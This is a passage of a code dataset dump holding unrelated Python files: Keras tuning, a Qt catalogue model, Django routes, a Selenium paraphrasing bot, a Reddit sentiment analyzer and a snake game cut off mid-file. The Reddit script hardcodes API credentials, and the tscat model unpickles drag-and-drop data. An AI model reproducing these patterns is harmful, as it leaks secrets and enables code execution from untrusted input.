inputs = Input(shape=(28*28, ), name = 'input')\n x = Dense(512, activation='relu', name='hidden1')(inputs)\n x = Dropout(drop)(x)\n x = Dense(256, activation='relu', name='hidden2')(x)\n x = Dropout(drop)(x)\n x = Dense(128, activation='relu', name='hidden3')(x)\n x = Dropout(drop)(x)\n outputs = Dense(10, activation='softmax', name='outputs')(x)\n model = Model(inputs = inputs, outputs = outputs)\n model.compile(optimizer=optimizer, metrics=['acc'], loss='categorical_crossentropy')\n return model\nmodel2 = build_model()\n\n# 딥러닝 모델을 머신러닝 모델형태로 싸주자!\nfrom tensorflow.keras.wrappers.scikit_learn import KerasClassifier, KerasRegressor\n\n\n##### 여기에 epochs 를 지정 할 수 도 있고 =================================== !!!!\nmodel2 = KerasClassifier(build_fn=build_model, verbose=1)\n# model2 = KerasClassifier(build_fn=build_model, verbose=1, epochs=2, validation_split=0.2)\n\ndef create_hyperparameters():\n batches = [10, 20, 30, 40, 50]\n optimizers = ['rmsprop', 'adam', 'adadelta']\n dropouts = [0.1, 0.2, 0.3]\n return {'batch_size' : batches, 'optimizer' : optimizers, 'drop' : dropouts}\nhyperparameters = create_hyperparameters()\n\nfrom sklearn.model_selection import RandomizedSearchCV, GridSearchCV\n\nsearch = RandomizedSearchCV(model2, hyperparameters, cv = 3)\n# 랜덤서치는 디폴트가 10 거기에 cv는 3 해서 10*3 = 30번 돌아갈 것!\n\n\n##### 여기에 epochs 를 지정 할 수 도 있다 =================================== !!!!\nfrom tensorflow.keras.callbacks import EarlyStopping, ReduceLROnPlateau, ModelCheckpoint\nstop = EarlyStopping(monitor='val_loss', patience=5, mode='min')\nreduce_lr = ReduceLROnPlateau(monitor='val_loss', patience=3, factor=0.5, verbose=1)\nmodelpath = '../data/modelcheckpoint/k61_4_{epoch:02d}-{val_loss:.4f}.hdf5'\nmc = ModelCheckpoint(filepath=modelpath, save_best_only=True, verbose=1)\n\n# Question: 모델체크포인트를 저장할 때 매번 순환에서 처음부터 시작해 최고만 저장하는지, 이전 모델의 최고를 갱신했을 때만 저장되는지?\n# Answer: \n\n# search.fit(x_train, y_train, verbose=1)\nsearch.fit(x_train, y_train, verbose=1, epochs=100, validation_split=0.2, callbacks=[stop, reduce_lr, mc])\n##### 하지만 둘 다 지정했을 때 이 fit으로 먹혀진다! =================================== !!!!\n\n# ----------------------------------------------------------------\nprint('best_params_: ', search.best_params_)\n# best_params_: {'optimizer': 'adam', 'drop': 0.1, 'batch_size': 30}\n# ----------------------------------------------------------------\nacc = search.score(x_test, y_test)\nprint('최종 스코어: ', acc)\n# 최종 스코어: 0.9835000038146973\n","repo_name":"YoungriKIM/STUDY","sub_path":"keras2/keras61_4_epochs.py","file_name":"keras61_4_epochs.py","file_ext":"py","file_size_in_byte":3517,"program_lang":"python","lang":"ko","doc_type":"code","stars":2,"dataset":"github-code","pt":"61"} +{"seq_id":"5725389521","text":"import datetime as dt\nimport os\nimport pickle\nimport tempfile\nfrom typing import Dict, Any, Union, cast, List, Sequence\n\nfrom PySide6.QtCore import QModelIndex, QAbstractItemModel, QPersistentModelIndex, Qt, QMimeData, Signal, QUrl\nfrom tscat import _Catalogue\n\nfrom .actions import Action, GetCataloguesAction, GetCatalogueAction, CreateEntityAction, RemoveEntitiesAction, \\\n SetAttributeAction, DeleteAttributeAction, MoveToTrashAction, RestoreFromTrashAction, ImportCanonicalizedDictAction, \\\n DeletePermanentlyAction, RestorePermanentlyDeletedAction\nfrom .catalog_model import CatalogModel\nfrom .driver import tscat_driver\nfrom .nodes import Node, CatalogNode, TrashNode, RootNode, NamedNode\nfrom ..model_base.constants import UUIDDataRole, EntityRole\nfrom ..utils.export import export_to_json\n\n\nclass TscatRootModel(QAbstractItemModel):\n events_dropped_on_catalogue = Signal(str, list)\n\n def __init__(self) -> None:\n super().__init__()\n self._root = RootNode()\n self._trash = TrashNode()\n\n self._root.append_child(self._trash)\n\n self._catalogues: Dict[str, CatalogModel] = {}\n\n tscat_driver.action_done_prioritised.connect(self._driver_action_done)\n\n tscat_driver.do(GetCataloguesAction(None, False))\n tscat_driver.do(GetCataloguesAction(None, True))\n\n def _trash_index(self) -> QModelIndex:\n return self.index(0, 0, QModelIndex())\n\n def _driver_action_done(self, action: Action) -> None:\n if isinstance(action, GetCataloguesAction):\n if action.removed_items:\n self.beginRemoveRows(self._trash_index(), 0, len(self._trash.children) - 1)\n self._trash.set_children([])\n self.endRemoveRows()\n\n self.beginInsertRows(self._trash_index(), 0, len(action.catalogues) - 1)\n self._trash.set_children(list(map(CatalogNode, action.catalogues)))\n self.endInsertRows()\n else:\n self.beginResetModel()\n self._root.set_children([self._trash])\n self._root.append_children(list(map(CatalogNode, action.catalogues)))\n self.endResetModel()\n\n elif isinstance(action, GetCatalogueAction):\n for row, child in enumerate(self._root.children):\n if child.uuid == action.uuid:\n index = self.index(row, 0, QModelIndex())\n self.dataChanged.emit(index, index)\n return\n\n for row, child in enumerate(self._trash.children):\n if child.uuid == action.uuid:\n index = self.index(row, 0, self._trash_index())\n self.dataChanged.emit(index, index)\n\n elif isinstance(action, CreateEntityAction):\n if isinstance(action.entity, _Catalogue):\n self.beginInsertRows(QModelIndex(), len(self._root.children), len(self._root.children))\n node = CatalogNode(action.entity)\n self._root.append_child(node)\n self.endInsertRows()\n\n elif isinstance(action, (RemoveEntitiesAction, DeletePermanentlyAction)):\n for row, c in reversed(list(enumerate(self._root.children))):\n if c.uuid in action.uuids:\n self.beginRemoveRows(QModelIndex(), row, row)\n self._root.remove_child(c)\n self.endRemoveRows()\n\n for row, c in reversed(list(enumerate(self._trash.children))):\n if c.uuid in action.uuids:\n self.beginRemoveRows(self._trash_index(), row, row)\n self._trash.remove_child(c)\n self.endRemoveRows()\n\n elif isinstance(action, MoveToTrashAction):\n for row, c in reversed(list(enumerate(self._root.children))):\n if c.uuid in action.uuids:\n self.beginRemoveRows(QModelIndex(), row, row)\n self._root.remove_child(c)\n self.endRemoveRows()\n\n self.beginInsertRows(self._trash_index(), len(self._trash.children), len(self._trash.children))\n self._trash.append_child(c)\n self.endInsertRows()\n\n elif isinstance(action, RestoreFromTrashAction):\n for row, c in reversed(list(enumerate(self._trash.children))):\n if c.uuid in action.uuids:\n self.beginRemoveRows(self._trash_index(), row, row)\n self._trash.remove_child(c)\n self.endRemoveRows()\n\n self.beginInsertRows(QModelIndex(), len(self._root.children), len(self._root.children))\n self._root.append_child(c)\n self.endInsertRows()\n\n elif isinstance(action, RestorePermanentlyDeletedAction):\n for e in action.deleted_entities:\n if isinstance(e.restored_entity, _Catalogue):\n node = CatalogNode(e.restored_entity)\n if e.restored_entity.is_removed():\n self.beginInsertRows(self._trash_index(), len(self._trash.children), len(self._trash.children))\n self._trash.append_child(node)\n self.endInsertRows()\n else:\n self.beginInsertRows(QModelIndex(), len(self._root.children), len(self._root.children))\n self._root.append_child(node)\n self.endInsertRows()\n\n elif isinstance(action, (SetAttributeAction, DeleteAttributeAction)):\n for c in filter(lambda x: isinstance(x, _Catalogue), action.entities):\n assert isinstance(c, _Catalogue)\n for row, child in enumerate(self._root.children):\n if isinstance(child, CatalogNode) and child.uuid == c.uuid:\n child.node = c\n index = self.index(row, 0, QModelIndex())\n self.dataChanged.emit(index, index)\n\n for row, child in enumerate(self._trash.children):\n if isinstance(child, CatalogNode) and child.uuid == c.uuid:\n child.node = c\n index = self.index(row, 0, self._trash_index())\n self.dataChanged.emit(index, index)\n\n elif isinstance(action, ImportCanonicalizedDictAction):\n self.beginInsertRows(QModelIndex(),\n len(self._root.children),\n len(self._root.children) + len(action.catalogues) - 1)\n self._root.append_children(list(map(CatalogNode, action.catalogues)))\n self.endInsertRows()\n\n def catalog(self, uuid: str) -> CatalogModel:\n if uuid not in self._catalogues:\n for child in self._root.children:\n if uuid == child.uuid:\n break\n else:\n assert False\n\n assert isinstance(child, CatalogNode)\n catalogue_model = CatalogModel(child)\n self._catalogues[uuid] = catalogue_model\n tscat_driver.do(GetCatalogueAction(None, removed_items=False, uuid=uuid))\n\n return self._catalogues[uuid]\n\n def index_from_uuid(self, uuid: str, parent=QModelIndex()) -> QModelIndex:\n for i in range(self.rowCount(parent)):\n index = self.index(i, 0, parent)\n if self.data(index, UUIDDataRole) == uuid:\n return index\n if self.rowCount(index) > 0:\n result = self.index_from_uuid(uuid, index)\n if result != QModelIndex():\n return result\n return QModelIndex()\n\n def index(self, row: int, column: int,\n parent: Union[QModelIndex, QPersistentModelIndex] = QModelIndex()) -> QModelIndex:\n if self.hasIndex(row, column, parent):\n if not parent.isValid():\n parent_item: Node = self._root\n else:\n parent_item: Node = parent.internalPointer() # type: ignore\n\n child_item: Node = parent_item.children[row]\n if child_item is not None:\n return self.createIndex(row, column, child_item)\n return QModelIndex()\n\n def parent(self, index: Union[QModelIndex, QPersistentModelIndex]) -> QModelIndex: # type: ignore\n if not index.isValid():\n return QModelIndex()\n assert isinstance(index.internalPointer(), Node)\n child_item = cast(Node, index.internalPointer())\n assert isinstance(child_item.parent, Node)\n parent_item: Node = child_item.parent\n if parent_item not in (None, self._root):\n return self.createIndex(parent_item.row, 0, parent_item)\n return QModelIndex()\n\n def rowCount(self, parent: Union[QModelIndex, QPersistentModelIndex] = QModelIndex()) -> int: # type: ignore\n if parent.column() > 0:\n return 0\n parent_node: Node\n if not parent.isValid():\n parent_node = self._root\n else:\n parent_node = cast(Node, parent.internalPointer())\n\n if isinstance(parent_node, CatalogNode):\n return 0\n else:\n return len(parent_node.children)\n\n def columnCount(self, parent: Union[QModelIndex, QPersistentModelIndex]) -> int: # type: ignore\n return 1\n\n def data(self, index: Union[QModelIndex, QPersistentModelIndex],\n role: Qt.ItemDataRole = Qt.DisplayRole) -> Any: # type: ignore\n if index.isValid():\n item = cast(NamedNode, index.internalPointer())\n if role == Qt.ItemDataRole.DisplayRole:\n return item.name\n elif role == UUIDDataRole:\n if isinstance(item, CatalogNode):\n return item.uuid\n elif role == EntityRole:\n if isinstance(item, CatalogNode):\n return item.node\n\n def flags(self, index: Union[QModelIndex, QPersistentModelIndex]) -> Qt.ItemFlag:\n if index.isValid():\n item = cast(Node, index.internalPointer())\n return item.flags()\n return Qt.ItemFlag.NoItemFlags\n\n def headerData(self, section: int, orientation: Qt.Orientation, role: int = Qt.DisplayRole) -> Any: # type: ignore\n if role == Qt.DisplayRole: # type: ignore\n return \"Catalogues\"\n return None\n\n def supportedDragActions(self) -> Qt.DropAction:\n return Qt.DropAction.CopyAction\n\n def canDropMimeData(self, data: QMimeData, action: Qt.DropAction,\n row: int, column: int,\n parent: Union[QModelIndex, QPersistentModelIndex]) -> bool:\n if not data.hasFormat('application/x-tscat-event-uuid-list'):\n return False\n return True\n\n def dropMimeData(self, data: QMimeData, action: Qt.DropAction,\n row: int, column: int,\n parent: Union[QModelIndex, QPersistentModelIndex]) -> bool:\n if not self.canDropMimeData(data, action, row, column, parent):\n return False\n\n if action == Qt.DropAction.IgnoreAction:\n return True\n\n self.events_dropped_on_catalogue.emit(parent.data(UUIDDataRole),\n pickle.loads(\n data.data('application/x-tscat-event-uuid-list'))) # type: ignore\n\n return True\n\n def mimeTypes(self) -> List[str]:\n return super().mimeTypes() + ['text/uri-list']\n\n def mimeData(self, indexes: Sequence[QModelIndex]) -> QMimeData:\n mime_data = super().mimeData(indexes)\n\n urls: List[QUrl] = []\n for index in indexes:\n now = dt.datetime.now().isoformat()\n catalogue = self.data(index, EntityRole)\n\n path = os.path.join(tempfile.gettempdir(), 'tscat_gui', f'{catalogue.name}-{now}-export.json')\n os.makedirs(os.path.dirname(path), exist_ok=True)\n\n print('exporting', catalogue, path)\n result = export_to_json(path, [catalogue.uuid])\n\n if result is None:\n path_url = QUrl.fromLocalFile(path)\n urls.append(path_url)\n\n mime_data.setUrls(urls)\n\n print('dragging')\n\n return mime_data\n","repo_name":"SciQLop/tscat_gui","sub_path":"tscat_gui/tscat_driver/tscat_root_model.py","file_name":"tscat_root_model.py","file_ext":"py","file_size_in_byte":12338,"program_lang":"python","lang":"en","doc_type":"code","stars":3,"dataset":"github-code","pt":"61"} +{"seq_id":"36924743825","text":"from ..read_data import read_dataset\nimport os\n\ndata = read_dataset('dataset/dataset')\nanswer = ''\n\npost_codes = {}\nstates = {}\n\nfor org in data['organizations'].values():\n if org.post_code not in post_codes:\n post_codes[org.post_code] = []\n post_codes[org.post_code].append(org.id)\n\n\ninput_file_path = os.path.join(os.path.dirname(__file__), 'input.txt')\nwith open(input_file_path, 'r') as f:\n queries = f.readlines()\n\nfor query in queries:\n query = query.rstrip('\\n')\n if query == '':\n continue\n post_code = data['organizations'][data['patients'][query].organization].post_code\n best_option = None\n for org_id in post_codes[post_code]:\n if org_id == data['patients'][query].organization:\n continue\n if best_option is None or \\\n len(data['organizations'][best_option].patients) > len(data['organizations'][org_id].patients) or \\\n (\n len(data['organizations'][best_option].patients) == len(data['organizations'][org_id].patients)\n and data['organizations'][best_option].name > data['organizations'][org_id].name\n ):\n best_option = org_id\n\n answer += f'Patient {query}:\\n'\n if best_option is None:\n answer += 'None'\n else:\n answer += best_option\n answer += '\\n\\n'\n\nwith open('{}/correct_output.txt'.format(os.path.dirname(__file__)), 'w') as f:\n f.write(answer)\n f.close()\n\n","repo_name":"SrikarManthatti/FHIR-Competition","sub_path":"solutions/Q2/solution.py","file_name":"solution.py","file_ext":"py","file_size_in_byte":1462,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"61"} +{"seq_id":"3108151332","text":"'''\nSearching in an array where adjacent differ by at most k \n\nA step array is an array of integer where each element has a difference of at most k with its neighbor. Given a key x, we need to find the index value of x if multiple elements exist, return the first occurrence of the key.\n'''\n\ndef search (arr, n, x, k) : \n i = 0\n while(i= 10 and degrees <= 18:\n if day_time == 'Morning':\n result = obj['m'][day_time] \n elif day_time == 'Afternoon':\n result = obj['m'][day_time]\n else:\n result = obj['m'][day_time] \nelif degrees > 18 and degrees <= 24:\n if day_time == 'Morning':\n result = obj['a'][day_time] \n elif day_time == 'Afternoon':\n result = obj['a'][day_time]\n else:\n result = obj['a'][day_time] \nelif degrees >= 25:\n if day_time == 'Morning':\n result = obj['e'][day_time] \n elif day_time == 'Afternoon':\n result = obj['e'][day_time]\n else:\n result = obj['e'][day_time]\n\nprint(f\"It's {degrees} degrees, get your {result}.\")\n\n# 16, Morning\n# 16, Afternoon\n# 22, Afternoon\n# 28, Evening\n","repo_name":"byAbaddon/Basics-Course-Python-March-2020","sub_path":"3.3 Nested Conditional Statments Exersise/03-summerOutfit.py","file_name":"03-summerOutfit.py","file_ext":"py","file_size_in_byte":1246,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"61"} +{"seq_id":"35397482941","text":"from tasks.views import index, tasks, projects, reviews, comments, tasks_view\nfrom django.urls import path, include\n\napp_name = 'tasks'\n\n\ntasks_patterns = [\n path('', tasks_view.list, name='list'),\n path('/', tasks.detail, name='detail'),\n path('/for_review', tasks.task_sent_review, name='sent-review'),\n path('close//', tasks.task_close, name='close'),\n path('/asign', tasks.task_asign, name='asign'),\n path('new/', tasks.TaskCreateView.as_view(), name='create'),\n]\n\nprojects_patterns = [\n path('', projects.list, name='list'),\n path('/', projects.detail, name='detail'),\n path('new/', projects.ProjectCreateView.as_view(), name='create'),\n]\n\nreviews_patterns = [\n path('', reviews.list, name='list'),\n path('/', reviews.detail, name='detail'),\n path('new//', reviews.create, name='create'),\n]\ncomments_patterns = [\n path('new/', comments.CommentCreate.as_view(), name='create'),\n]\n\nurlpatterns = [\n path('', index, name='index'),\n path('tasks/', include((tasks_patterns, 'tasks'))),\n path('projects/', include((projects_patterns, 'projects'))),\n path('reviews/', include((reviews_patterns, 'reviews'))),\n path('comments/', include((comments_patterns, 'comments')))\n\n]\n","repo_name":"yyotova/WhatNow","sub_path":"whatnow/tasks/urls.py","file_name":"urls.py","file_ext":"py","file_size_in_byte":1336,"program_lang":"python","lang":"en","doc_type":"code","stars":2,"dataset":"github-code","pt":"61"} +{"seq_id":"16444687133","text":"import matplotlib.font_manager\nfrom PIL import Image, ImageDraw, ImageFont\nimport os\n\n# Directory for saving images\noutput_dir = './data'\nif not os.path.exists(output_dir):\n os.makedirs(output_dir)\n\n# Get a list of system fonts\nfonts = matplotlib.font_manager.findSystemFonts(fontpaths=None, fontext='ttf')\nfont_size = 32\nimage_size = (512, 512)\n\n# Iterate over each font\nfor font_path in fonts:\n\n # Create a blank image with white background for each font\n image = Image.new('RGB', image_size, color='white')\n draw = ImageDraw.Draw(image)\n\n # Extract the font name\n font_name = font_path.split('/')[-1].split('.')[0]\n # print(f'generating font: {font_name}')\n \n # Load the font\n try:\n font = ImageFont.truetype(font_path, font_size)\n if not all(font.getsize(char)[0] > 0 for char in 'ABCDEFGHIJKLMNOPQRSTUVWXYZ'):\n print(f'{font_name} not support!')\n continue # Skip this font if it can't render all characters\n \n except IOError:\n continue # Skip this font if it can't be loaded\n\n # Draw each character A-Z with the current font\n for i, char in enumerate('ABCDEFGHIJKLMNOPQRSTUVWXYZ'):\n x = image_size[0]*0.15 + (i % 13) * (image_size[0]*0.7 // 13)\n y = image_size[1]*0.4 + (1 + (i // 13)) * font_size\n draw.text((x, y), char, (0, 0, 0), font=font)\n\n # Save the image\n image.save(f'{output_dir}/{font_name}.png')\n","repo_name":"iamkaikai/Amazing_logo","sub_path":"char/letter_gen.py","file_name":"letter_gen.py","file_ext":"py","file_size_in_byte":1432,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"61"} +{"seq_id":"75128689155","text":"from selenium import webdriver\r\nfrom selenium.webdriver.common.by import By\r\nfrom selenium.webdriver.support.ui import WebDriverWait\r\nfrom selenium.webdriver.support import expected_conditions as EC\r\nfrom selenium.common.exceptions import *\r\nfrom selenium.webdriver.common.keys import Keys\r\nimport os\r\nimport time\r\npath = \"C:\\chromedriver.exe\"\r\nos.environ[\"webdriver.chrome.driver\"] = path\r\ndriver = webdriver.Chrome(path)\r\n\t\r\n\t\t\t\r\nfname = \"copied.txt\"\r\nwname = \"parapharased.txt\"\r\nw = open(wname, \"w+\")\r\nfh = open(fname)\r\ni=0\r\nfor line in fh:\r\n\tif(i!=0):\r\n\t\tdriver.execute_script(\"window.open('');\")\r\n\tdriver.switch_to.window(driver.window_handles[i])\r\n\tdriver.get(\"http://www.quillbot.com\")\r\n\tprint(\"Copying Paragraph: %d\" %(i+1))\r\n\tdriver.find_element(By.ID,\"inputText\").send_keys(line)\r\n\tdriver.find_element(By.XPATH, \"//*[@id='inOutContainer']/div/div[2]/div/div[1]/div/div/div[2]/div/div/div/div/div[2]/div/div/div/button/span[1]\").click()\r\n\ti = i+1\r\ni=0\r\nf = open(fname)\r\nfor line in f:\r\n\tdriver.switch_to.window(driver.window_handles[i])\r\n\twait = WebDriverWait(driver, 80, poll_frequency=1,\r\n\t\t\t\t\t\t\tignored_exceptions=[NoSuchElementException,\r\n\t\t\t\t\t\t\t\t\t\t\t\tElementNotVisibleException,\r\n\t\t\t\t\t\t\t\t\t\t\t\tElementNotSelectableException])\r\n\tElement = wait.until(EC.visibility_of_element_located((By.XPATH, \"//*[@id='editable-content-within-article~0']/div[1]/span[1]\")))\r\n\tprint(\"Pasting Paragraph: %d\" %(i+1))\r\n\tquilled = driver.find_element(By.XPATH, \"//*[@id='editable-content-within-article']\")\r\n\tw.write(quilled.text)\r\n\tw.write(\"\\n\")\r\n\ti=i+1\r\n\r\n#driver.quit()\r\n\t\r\n\r\n#chromeTest.test()\t\r\n\r\n\r\n\r\n\r\n\r\n\r\n","repo_name":"Alimazharsultan/Bot_for_Quillbot","sub_path":"bot.py","file_name":"bot.py","file_ext":"py","file_size_in_byte":1602,"program_lang":"python","lang":"en","doc_type":"code","stars":10,"dataset":"github-code","pt":"61"} +{"seq_id":"25487404581","text":"import os\nfrom argparse import ArgumentParser\n\nimport pytorch_lightning as pl\nfrom pytorch_lightning.callbacks import ModelCheckpoint\n\nfrom dataloaders.dataloaderFRUITS360 import FRUITSDataloader\nfrom dataloaders.dataloaderMNIST import MNISTDataLoader\nfrom models.ViT import ViT\n\n\ndef main():\n root_path = ''\n\n parser = ArgumentParser()\n parser.add_argument('--dataset', help='dataset to train on: mnist/fruit', type=str, )\n dataset_name = parser.parse_args().dataset\n\n assert dataset_name in ['mnist', 'fruit']\n\n checkpoint_callback = ModelCheckpoint(\n os.path.join(root_path, 'checkpoints/'),\n filename=dataset_name,\n monitor='train_loss',\n save_last=False,\n save_top_k=1,\n mode='min'\n )\n\n # logger = TensorBoardLogger(save_dir=os.path.join(root_path, 'logs/'))\n\n trainer = pl.Trainer(\n gpus=0,\n callbacks=[checkpoint_callback],\n\n max_epochs=20,\n\n )\n\n if dataset_name == 'mnist':\n dataloader = MNISTDataLoader(_path=root_path, batch_size=128, num_workers=2)\n model = ViT(\n image_size=28,\n patch_size=7,\n num_channels=1,\n num_classes=10,\n d_model=128,\n num_blocks=6,\n num_heads=8,\n mvp_head=512,\n dropout=0.1,\n )\n\n else:\n dataloader = FRUITSDataloader(_path=root_path, batch_size=64, num_workers=2)\n num_classes = len(dataloader.classes())\n model = ViT(\n image_size=100,\n patch_size=10,\n num_channels=3,\n num_classes=num_classes,\n d_model=128,\n num_blocks=6,\n num_heads=8,\n mvp_head=512,\n dropout=0.1,\n )\n\n train_dataloader = dataloader.train_dataloader()\n val_dataloader = dataloader.val_dataloader()\n\n trainer.fit(model=model,\n train_dataloader=train_dataloader,\n val_dataloaders=val_dataloader)\n\n\nif __name__ == '__main__':\n main()\n","repo_name":"homomorfism/vision-transformer-pytorch","sub_path":"train_model.py","file_name":"train_model.py","file_ext":"py","file_size_in_byte":2024,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"61"} +{"seq_id":"17269564872","text":"from django import template\nfrom django.conf import settings\nfrom django.core.urlresolvers import reverse\nfrom django.template.defaulttags import token_kwargs\n\nfrom allauth.facebook.models import FacebookApp\nfrom allauth.socialaccount.app_settings import QUERY_EMAIL\n\nregister = template.Library()\n\ndef fbconnect(context):\n perm_list = []\n if QUERY_EMAIL:\n perm_list.append('email')\n perms = ','.join(perm_list)\n request = context['request']\n return {'facebook_app': FacebookApp.objects.get_current(),\n 'facebook_channel_url': request.build_absolute_uri(reverse('facebook_channel')),\n 'facebook_perms': perms}\n\nclass FacebookLoginURLNode(template.Node):\n def __init__(self, params):\n self.params = params\n\n def render(self, context):\n query = dict([(name, var.resolve(context)) for name, var\n in self.params.iteritems()])\n next = query.get('next', '')\n if not next:\n request = context['request']\n next = request.REQUEST.get('next', '')\n if next:\n next = \"'%s'\" % next\n return \"javascript:FB_login(%s)\" % next\n\ndef facebook_login_url(parser, token):\n bits = token.split_contents()\n params = token_kwargs(bits[1:], parser, support_legacy=False)\n return FacebookLoginURLNode(params)\n \n\ndef register_tags(reg):\n reg.inclusion_tag('facebook/fbconnect.html', takes_context=True)(fbconnect)\n reg.tag()(facebook_login_url)\n\nregister_tags(register)\n\n","repo_name":"SolidaridadDigital/manifesto","sub_path":"manifesto/allauth/facebook/templatetags/facebook_tags.py","file_name":"facebook_tags.py","file_ext":"py","file_size_in_byte":1505,"program_lang":"python","lang":"en","doc_type":"code","stars":7,"dataset":"github-code","pt":"61"} +{"seq_id":"14860104909","text":"#Importing necessary libraries\nimport math\nimport string\nimport praw\nimport pandas as pd\nimport numpy as np\nimport emoji\nimport matplotlib.pyplot as plt\nimport seaborn as sns\nimport nltk\nfrom nltk.tokenize import word_tokenize, RegexpTokenizer\nfrom nltk.corpus import stopwords\n#nltk.download('stopwords')\nfrom nltk.sentiment.vader import SentimentIntensityAnalyzer as SIA\n#nltk.download('vader_lexicon')\nfrom pprint import pprint\n\n#PRAW Configuration\nreddit = praw.Reddit(client_id='StmWjOzTODd8Og', client_secret='3-HWmn6SD7a32SEoOLXyVSUv5jQ', user_agent='r/webscraper')\n\n#Global variables\ncomments_record = []\n\n#All functions\ndef fetch_posts_and_comments(subreddit):\n posts = []\n #Fetching 500 hottest post titles and corresponding comments from the entered subreddit\n for post in reddit.subreddit(subreddit).hot(limit=250):\n posts.append(post.title)\n submission = reddit.submission(id=post.id)\n submission.comments.replace_more(limit=0)\n new_comments = set(list(map(lambda comment:comment.body, submission.comments)))\n global comments_record\n comments_record.append(preprocessing(new_comments))\n return posts\n\ndef preprocessing(posts):\n remove = set(stopwords.words('english'))\n filtered = []\n for post in posts:\n #Converting numbers to words, translation of emojis and removing punctuations to give bag of words\n post = [emoji.demojize(x, delimiters=('.', '.')) for x in post.translate(str.maketrans(dict.fromkeys(string.punctuation))).replace('“', '').replace('”', '').replace('‘', '').replace('’', '').lower().split()]\n #Removing stopwords and words irrelevant to sentiment, eliminating quotes\n temp = [x for x in post if x not in remove]\n filtered.append(\" \".join(temp).strip())\n return filtered\n\ndef sentiment_analysis(filtered):\n sia = SIA()\n results = []\n for post in filtered:\n #Results of sentiment analysis\n score = sia.polarity_scores(post)\n score['post'] = post\n results.append(score)\n data = pd.DataFrame.from_records(results)\n return data\n\ndef labelling(data, threshold):\n #Labelling the sentiments depending on a compound threshold(can be adjusted)\n data['label'] = 0\n data.loc[data['compound'] > threshold, 'label'] = 1\n data.loc[data['compound'] < (threshold * -1), 'label'] = -1\n return data\n\ndef top_posts(data):\n #Sample posts from positive and negative label categories\n results = []\n results.append(list(data[data['label'] == 1].post))\n results.append(list(data[data['label'] == 0].post))\n results.append(list(data[data['label'] == -1].post))\n return results\n\ntop = top_posts(labelling(sentiment_analysis(preprocessing(fetch_posts_and_comments('music'))), 0.15))\nprint('Positive Posts- ' +str(len(top[0])))\nprint('Neutral Posts- ' +str(len(top[1])))\nprint('Negative Posts- ' +str(len(top[2])))\n","repo_name":"frizzid07/reddityze","sub_path":"code/model.py","file_name":"model.py","file_ext":"py","file_size_in_byte":2797,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"61"} +{"seq_id":"17101533954","text":"import sys\nimport csv\n\n\ndef main():\n target_lst = []\n ok_flg = True\n args = sys.argv\n txtname = args[1]\n with open(txtname) as f:\n for line in f:\n target_lst.append(line[0:-1])\n\n for l in target_lst:\n if not check_expected(l):\n ok_flg = False\n\n with open(\"result.txt\", 'w') as f:\n if ok_flg:\n print(\"OK\")\n f.write('OK')\n else:\n print(\"NG\")\n f.write('NG')\n\ndef check_expected(s):\n return s == \"ABCDEFG\"\n\nif __name__ == \"__main__\":\n main()\n","repo_name":"nozapqpq/jenkins","sub_path":"check.py","file_name":"check.py","file_ext":"py","file_size_in_byte":559,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"61"} +{"seq_id":"74548940034","text":"import boto3\r\n\r\ndef lambda_handler(event, context):\r\n ec2 = boto3.client('ec2')\r\n \r\n # Get a list of all security groups in the current region\r\n security_groups = ec2.describe_security_groups()['SecurityGroups']\r\n \r\n # Iterate over each security group\r\n for sg in security_groups:\r\n # Check if the security group has any inbound rules that allow unrestricted access (0.0.0.0/0)\r\n if any(rule['IpProtocol'] == '-1' and rule['IpRanges'] == ['0.0.0.0/0'] for rule in sg['IpPermissions']):\r\n print(f\"Security group {sg['GroupId']} has an inbound rule that allows unrestricted access\")\r\n \r\n # Get a list of all network ACLs in the current region\r\n acls = ec2.describe_network_acls()['NetworkAcls']\r\n \r\n # Iterate over each network ACL\r\n for acl in acls:\r\n # Check if the network ACL has any inbound rules that allow unrestricted access (0.0.0.0/0)\r\n if any(rule['RuleAction'] == 'allow' and rule['CidrBlock'] == '0.0.0.0/0' for rule in acl['Entries']):\r\n print(f\"Network ACL {acl['NetworkAclId']} has an inbound rule that allows unrestricted access\")\r\n","repo_name":"codepretzel09/aws_lambdas","sub_path":"aws_sec/scan_insecure_sg_acl_lambda/scan_insecure_sg_acl_lambda.py","file_name":"scan_insecure_sg_acl_lambda.py","file_ext":"py","file_size_in_byte":1144,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"61"} +{"seq_id":"6793940976","text":"import pygame\nfrom random import randint, randrange\nimport sys\n\npygame.init()\n\ngame_width = 600\ngame_height = 600\nfont = pygame.font.SysFont(None, 28)\nscreen = pygame.display.set_mode(size=(game_width, game_height))\nscreen_rect = pygame.Rect(0, 0, game_width, game_height)\nclock = pygame.time.Clock()\n\n\ndef game_over_screen():\n screen.fill((0, 0, 0))\n msg = font.render(\"You Lost! Press C-Play Again or Q-Quit\", True, (255, 255, 255))\n screen.blit(msg, [game_width / 2 - msg.get_width() / 2, game_height / 2 - msg.get_height() / 2])\n pygame.display.update()\n\n\ndef score(length):\n msg = font.render(\"Score: {}\".format(length), True, (255, 0, 0))\n screen.blit(msg, [0, 0])\n\nclass Snake:\n\n section_width = 10\n section_height = 10\n x1_change = 0\n y1_change = 0\n snake_length = 1\n\n def __init__(self):\n self.x1 = randint(0, screen.get_width())\n self.y1 = randint(0, screen.get_height())\n\n self.rects = [pygame.Rect(self.x1, self.y1, self.section_width, self.section_height)]\n\n def draw(self):\n self.x1 += self.x1_change\n self.y1 += self.y1_change\n\n temp_rect = pygame.Rect(self.x1, self.y1, self.section_width, self.section_height)\n\n self.rects.append(temp_rect)\n\n if len(self.rects) > self.snake_length:\n del self.rects[0]\n\n for rect in self.rects:\n pygame.draw.rect(screen, (255, 255, 255), rect)\n\n def handle_key_pressed(self, event):\n if event.key == pygame.K_UP:\n self.x1_change = 0\n self.y1_change = -self.section_height\n if event.key == pygame.K_DOWN:\n self.x1_change = 0\n self.y1_change = self.section_height\n if event.key == pygame.K_LEFT:\n self.x1_change = -self.section_width\n self.y1_change = 0\n if event.key == pygame.K_RIGHT:\n self.x1_change = self.section_width\n self.y1_change = 0\n if event.key == pygame.K_SPACE:\n 